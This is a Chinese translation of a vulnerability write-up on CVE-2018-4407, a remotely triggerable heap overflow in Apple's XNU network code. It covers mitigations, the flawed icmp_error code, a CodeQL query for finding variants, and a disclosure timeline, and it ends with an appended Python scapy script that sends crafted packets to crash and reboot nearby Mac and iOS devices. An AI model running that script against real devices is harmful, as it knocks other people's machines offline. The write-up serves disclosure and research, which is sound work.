原文:https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407

文中有些链接需要科学上网,apple用户及时更新(想复现的另说)

这篇文章是关于我在Apple的XNU操作系统内核中发现的堆缓冲区溢出漏洞。我编写了一个exp验证漏洞,它可以在同一网络上重启任何Mac或iOS设备,无需任何用户交互。Apple已将此漏洞归类为内核中的远程执行代码漏洞,因为可能利用缓冲区溢出来执行内核中的任意代码。

以下操作系统版本和设备易受攻击:

  • Apple iOS 11及更早版本:所有设备(升级到iOS 12)
  • Apple macOS High Sierra,最高可达10.13.6:所有设备(在安全更新2018-001中打补丁)
  • Apple macOS Sierra,包括10.12.6:所有设备(在安全更新2018-005中打补丁)
  • Apple OS X El Capitan及更早版本:所有设备
    我及时报告了Apple为修补iOS 12(9月17日发布)和macOS Mojave(9月24日发布)漏洞的漏洞。这两个补丁都是在10月30日回顾性宣布的。

严重程度和缓解措施

该漏洞是XNU操作系统内核中的网络代码中的堆缓冲区溢出。iOS和macOS都使用XNU,这就是iPhone,iPad和Macbook都受到影响的原因。要触发此漏洞,攻击者只需将恶意IP数据包发送到目标设备的IP地址即可。无需用户交互。攻击者只需要连接到与目标设备相同的网络。例如,如果您在咖啡店使用免费WiFi,则攻击者可以加入相同的WiFi网络并向您的设备发送恶意数据包。(如果攻击者与您在同一网络上,则他们很容易使用nmap发现您设备的IP地址。)更糟糕的是,该漏洞是网络代码的一个基本部分,反病毒软件无法保护您:我在运行着McAfee®EndpointSecurity for Mac的Mac上测试了该漏洞,没有任何防护。您在设备上运行的软件也没有能力防护 - 即使您没有打开任何端口,恶意数据包仍会触发漏洞。

由于攻击者可以控制堆缓冲区溢出的大小和内容,因此他们可能利用此漏洞在您的设备上获得远程代码执行。我没有尝试编写能够做到这一点的漏洞。我的漏洞利用PoC只是用垃圾覆盖堆,导致立即内核崩溃和设备重启。

我知道针对此漏洞的两种缓解措施:

  • 在macOS防火墙中启用隐藏模式可防止攻击工作。感谢我的同事Henti Smith发现这一点,因为这是一个模糊的系统设置,默认情况下不启用。据我所知,iOS设备上不存在隐藏模式。

  • 不要使用公共WiFi网络。攻击者需要与目标设备位于同一网络中。通常不可能通过互联网发送恶意数据包。例如,我写了一个虚假的Web服务器,当目标设备尝试加载网页时,它会发回恶意回复。在我的实验中,恶意数据包永远不会到达,除非Web服务器与目标设备位于同一网络上。

验证exp

我编写了一个验证exp来触发漏洞。为了让Apple的用户有时间升级,我不会立即发布漏洞利用PoC的源代码。但是,我制作了一个简短的视频,显示PoC正在运行,导致本地网络上的所有Apple设备崩溃。

漏洞

该错误是这行代码中的缓冲区溢出(bsd/netinet/ip_icmp.c:339):
m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);
此代码在函数中[icmp_error](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L203-L208 "icmp_error")。根据结论,此功能的目的是“生成错误数据包,以响应错误的数据包ip”。它使用ICMP协议发送错误消息。导致错误的分组的报头被包括在ICMP消息,所以呼叫的到目的m_copydata上线339是坏的分组的报头复制到ICMP消息。问题是标头可能对目标缓冲区来说太大了。目标缓冲区是mbuf。mbuf是一种数据类型,用于存储传入和传出的网络数据包。在此代码中,n是一个传入的数据包(包含不受信任的数据)和m是传出的ICMP数据包。我们很快就会看到,icp是一个指针m。m在第294行或第296行分配:

if (MHLEN > (sizeof(struct ip) + ICMP_MINLEN + icmplen))
  m = m_gethdr(M_DONTWAIT, MT_HEADER);  /* MAC-OK */
else
  m = m_getcl(M_DONTWAIT, MT_DATA, M_PKTHDR);

稍微向下,在第314行,mtod用于获取m数据指针:
icp = mtod(m, struct icmp *);
mtod只是宏,所以这行代码不会检查它mbuf是否足以容纳icmp结构。此外,数据不会复制到icp,而是复制到&icp->icmp_ip+8字节的偏移量icp。

我没有必要的工具来在调试器中单步执行XNU内核,所以我实际上对它的确切分配大小有点不确定mbuf。基于我在源代码中看到的,我认为m_gethdr创建一个mbuf可以容纳88个字节,但我不太确定m_getcl。根据实际实验,我发现在触发缓冲区溢出时icmplen >= 84。

在这个时候,我不会再谈论漏洞利用的工作原理了。我希望Apple用户有机会首先升级他们的设备。但是,在不久的将来,我将在SecurityExploits存储库中发布漏洞利用PoC的源代码。

使用QL查找漏洞

我通过对导致数据包管理程序中的缓冲区溢出漏洞的错误进行变体分析,发现了此漏洞。该漏洞是由mbuf_copydata使用用户控制的大小参数调用引起的。所以我写了一个简单的查询来寻找类似的bug:

**
 * @name mbuf copydata with tainted size
 * @description Calling m_copydata with an untrusted size argument
 *              could cause a buffer overflow.
 * @kind path-problem
 * @problem.severity warning
 * @id apple-xnu/cpp/mbuf-copydata-with-tainted-size
 */

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph

class Config extends TaintTracking::Configuration {
  Config() { this = "tcphdr_flow" }

  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }

  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName().matches("%copydata"))
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "m_copydata with tainted size."

这是一个简单的污点跟踪查询,它查找从m_mtod“copydata”函数的参数大小到数据流。名为的函数m_mtod返回mbuf的数据指针,因此它很可能会返回不受信任的数据。这是mtod宏扩展到的。显然,m_mtod这只是XNU内核中不受信任数据的众多来源之一,但我没有包含任何其他来源以使查询尽可能简单。此查询返回9个结果,其中第一个是漏洞icmp_error。我相信其他8个结果都是误报,但代码足够复杂,我认为它们是错误的查询结果。

在XNU上尝试QL

与大多数其他开源项目不同,XNU无法在LGTM上查询。这是因为LGTM使用Linux工作程序来构建项目,但XNU只能在Mac上构建。即使在Mac上,XNU也非常容易构建。如果我没有找到杰里米·安德鲁斯这篇非常有用的博客文章,我就无法做到。使用Jeremy Andrus的说明和脚本,我为三个最新发布的XNU版本手动构建了快照。:您可以从这些链接下载快照10.13.4,10.13.5,10.13.6。不幸的是,Apple尚未发布10.14(Mojave / iOS 12)的源代码,因此我无法创建QL快照来运行针对它的查询。要在这些QL快照上运行查询,您需要下载QL for Eclipse。可以在此处找到有关如何使用QL for Eclipse的说明。

时间线

  • 2018-08-09:私下向product-security@apple.com披露。包括概念验证漏洞利用。
  • 2018-08-09:报告被product-security@apple.com承认。
  • 2018-08-20:product-security@apple.com让我向他们发送确切的macOS版本号和日志。
  • 2018-08-20:将所需信息返回至product-security@apple.com。还向他们发送了一个略微改进的漏洞- PoC版本。
  • 2018-08-22:product-security@apple.com确认该问题已在macOS Mojave和iOS 12的测试版中得到修复。但是,他们还表示他们正在“调查在其他平台上解决此问题”并且他们将直到2018年11月才公布此问题。
  • 2018-09-17:Apple发布iOS 12。该漏洞已得到修复。
  • 2018-09-24:macOS Mojave由Apple发布。该漏洞已得到修复。
  • 2018-10-30:公布漏洞。

附上python exp

# CVE-2018-4407 ICMP DOS
# https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407
# from https://twitter.com/ihackbanme
import sys
try:
    from scapy.all import *
except Exception as e:
    print ("[*] You need install scapy first:\n[*] sudo pip install scapy ")
if __name__ == '__main__':
    try:
        check_ip = sys.argv[1]
        print ("[*] !!!!!!Dangerous operation!!!!!!")
        print ("[*] Trying CVE-2018-4407 ICMP DOS " + check_ip)
        for i in range(8,20):
            send(IP(dst=check_ip,options=[IPOption("A"*i)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
        print ("[*] Check Over!! ")
    except Exception as e:
        print "[*] usage: sudo python check_icmp_dos.py 127.0.0.1"
//有些缩进要调一调

点击收藏 | 0 关注 | 1
登录 后跟帖